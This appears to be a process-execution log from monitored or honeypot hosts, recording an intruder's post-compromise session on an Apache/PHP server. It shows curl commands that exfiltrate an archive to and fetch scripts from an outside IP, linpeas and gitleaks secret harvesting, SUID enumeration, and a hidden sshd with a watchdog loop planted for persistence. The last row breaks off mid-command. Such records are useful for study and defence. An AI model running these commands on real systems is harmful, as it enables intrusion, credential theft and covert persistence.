| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -l /tmp/<REDACTED>-deep2 |
| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep2.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep2.tgz |
| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | curl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:34:57 | 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh |
| 2026-10-31 01:35:46 | Not attributed | Not attributed | sshd -> sshd | bash ; id ; hostname |
| 2026-10-31 01:35:55 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | dropbear -> bash | bash -c cd /tmp; for d in /var/www/html /usr/local/etc /etc; do /tmp/.loot-tools/gitleaks dir $d --no-banner --no-color --report-format json --report-path /tmp/gl-$(echo $d|tr / _).json --max-target-megabytes 2 --exit-code 0 >/tmp/gl-$(echo $d|tr / _).log 2>&1; echo "d=$d rc=$?"; done; ls -l /tmp/gl ; tr / _ ; /tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/gl-_var_www_html.json --max-target-megabytes 2 --exit-code 0 ; tr / _ ; tr / _ ; tr / _ ; tr / _ ; /tmp/.loot-tools/gitleaks dir /etc --no-banner --no-color --report-format json --report-path /tmp/gl-_etc.json --max-target-megabytes 2 --exit-code 0 ; ls -l /tmp/gl-_etc.json /tmp/gl-_usr_local_etc.json /tmp/gl-_var_www_html.json ; /tmp/.loot-tools/gitleaks dir /usr/local/etc --no-banner --no-color --report-format json --report-path /tmp/gl-_usr_local_etc.json --max-target-megabytes 2 --exit-code 0 ; tr / _ |
| 2026-10-31 01:36:01 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c ls -la /tmp/service-documents 2>&1 | head; echo S1; ls -la /var/www/html/includes; echo S2; cat /var/www/html/includes/site.php | head -40; echo S3; cat /var/www/html/robots.txt ; head ; ls -la /tmp/service-documents ; ls -la /var/www/html/includes ; cat /var/www/html/includes/site.php ; head -40 ; cat /var/www/html/robots.txt |
| 2026-10-31 01:36:05 | Not attributed | Not attributed | sshd -> sshd | bash ; ls -ld /var/log/apache2 ; ls /etc/apache2/conf-enabled/ ; df -h / /var/log/apache2 /tmp ; head -6 ; head ; grep -i upload_tmp\|auto_prepend /etc/php/*/apache2/php.ini ; readlink -f /etc/apache2/apache2.conf ; ls -ld /etc/apache2 |
| 2026-10-31 01:36:05 | Not attributed | Not attributed | sshd -> sshd | bash ; id ; head -20 ; cat /var/log/apache2/19-cron-systemd.txt ; touch /var/www/html/.probe_j485 ; ls -ld /var/www/html /var/www/html/includes /var/www/html/index.php /var/www/html/robots.txt /var/www/html/upload.php ; head -5 ; which crontab cron ; ls /etc/cron.d |
| 2026-10-31 01:36:36 | Not attributed | Not attributed | sshd -> sshd | bash ; grep -E CapEff|CapPrm|NoNewPrivs /proc/self/status ; ls -l /var/run/docker.sock ; which sudo gcc perl python3 ; ls -ld /usr/local/bin /usr/local/lib ; cat /usr/local/bin/docker-php-entrypoint ; head -20 |
| 2026-10-31 01:36:42 | Not attributed | Not attributed | sshd -> sshd | bash ; ls -ld /var/lib/php/sessions ; ls -la /var/www/html |
| 2026-10-31 01:37:03 | Not attributed | Not attributed | sshd -> sshd | bash ; ls -ld /usr/local/etc /usr/local/etc/php /usr/local/etc/php/conf.d ; ls -l /usr/local/etc/php/conf.d/ ; head ; head -3 ; grep -n auto_prepend\|session.save_path /usr/local/etc/php/php.ini-production |
| 2026-10-31 01:37:22 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af keep.sh |
| 2026-10-31 01:37:23 | Not attributed | Not attributed | sshd -> sshd | bash ; ls /etc/cron.daily ; head -4 ; ls -ld /var/spool /var/run /run ; df -h /var /tmp ; tail -2 ; ps -o pid,user,cmd -p 1 |
| 2026-10-31 01:37:28 | Not attributed | Not attributed | bash -> bash | find / -xdev -perm -4000 -type f |
| 2026-10-31 01:37:45 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af dropbear -F|dk_key |
| 2026-10-31 01:37:56 | Not attributed | Not attributed | bash -> bash | find /usr/bin /usr/sbin /bin /sbin -maxdepth 1 -type f -perm -4000 ; getent passwd www-data ; ls -l /usr/bin/sudo |
| 2026-10-31 01:38:06 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af dropbear -F|dk_key |
| 2026-10-31 01:38:13 | Not attributed | Not attributed | sshd -> sshd | bash ; chsh -s /bin/bash ; getent passwd www-data |
| 2026-10-31 01:38:24 | Not attributed | Not attributed | sshd -> sshd | bash ; cat /etc/shells ; ls -l /bin/sh /bin/bash |
| 2026-10-31 01:38:25 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | pgrep -af dropbear -F|dk_key |
| 2026-10-31 01:38:29 | Not attributed | Not attributed | sshd -> sshd | bash ; cat ; chmod 755 /var/log/apache2/.j/start.sh ; /var/log/apache2/.j/start.sh |
| 2026-10-31 01:38:42 | Not attributed | Not attributed | sshd -> sshd | bash ; tail -4 /var/log/apache2/.j/sshd.log ; head -3 ; pgrep -af j/sshd |
| 2026-10-31 01:38:48 | 206.245.153.56 | 206.245.153.56: 01:35:10 to 01:36:09 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c id; hostname; ss -lnt 2>/dev/null | head -1; echo LOGIN_OK ; id ; hostname ; head -1 |
| 2026-10-31 01:39:00 | Not attributed | Not attributed | sshd -> bash | sleep 2 ; setsid /var/log/apache2/.j/watch.sh ; cat ; chmod 755 /var/log/apache2/.j/watch.sh ; /var/log/apache2/.j/watch.sh ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; head -2 ; pgrep -af watch.sh |
| 2026-10-31 01:39:26 | Not attributed | Not attributed | watch.sh -> watch.sh | pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; /var/log/apache2/.j/start.sh ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f |
| 2026-10-31 01:39:58 | Not attributed | Not attributed | sshd -> sshd | bash ; head -2 ; pgrep -af j/sshd -f ; grep -c Server listening /var/log/apache2/.j/sshd.log |
| 2026-10-31 01:40:03 | Not attributed | Not attributed | sshd -> sshd | bash ; head -2 ; head -2 ; php -v ; wc -l ; ls /usr/lib/apache2/modules/ ; df -h ; head -5 ; wc -l ; ps aux ; cat /etc/hosts ; ls -la /var/www/.ssh ; head -3 |
| 2026-10-31 01:40:12 | Not attributed | Not attributed | bash -> bash | curl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | id -un |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | getent passwd www-data |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | lscpu |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | getconf LONG_BIT |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | uname -m |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | cat /etc/debian_version /etc/alpine-release /etc/redhat-release |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | uname -r |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | timeout -> timeout | sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
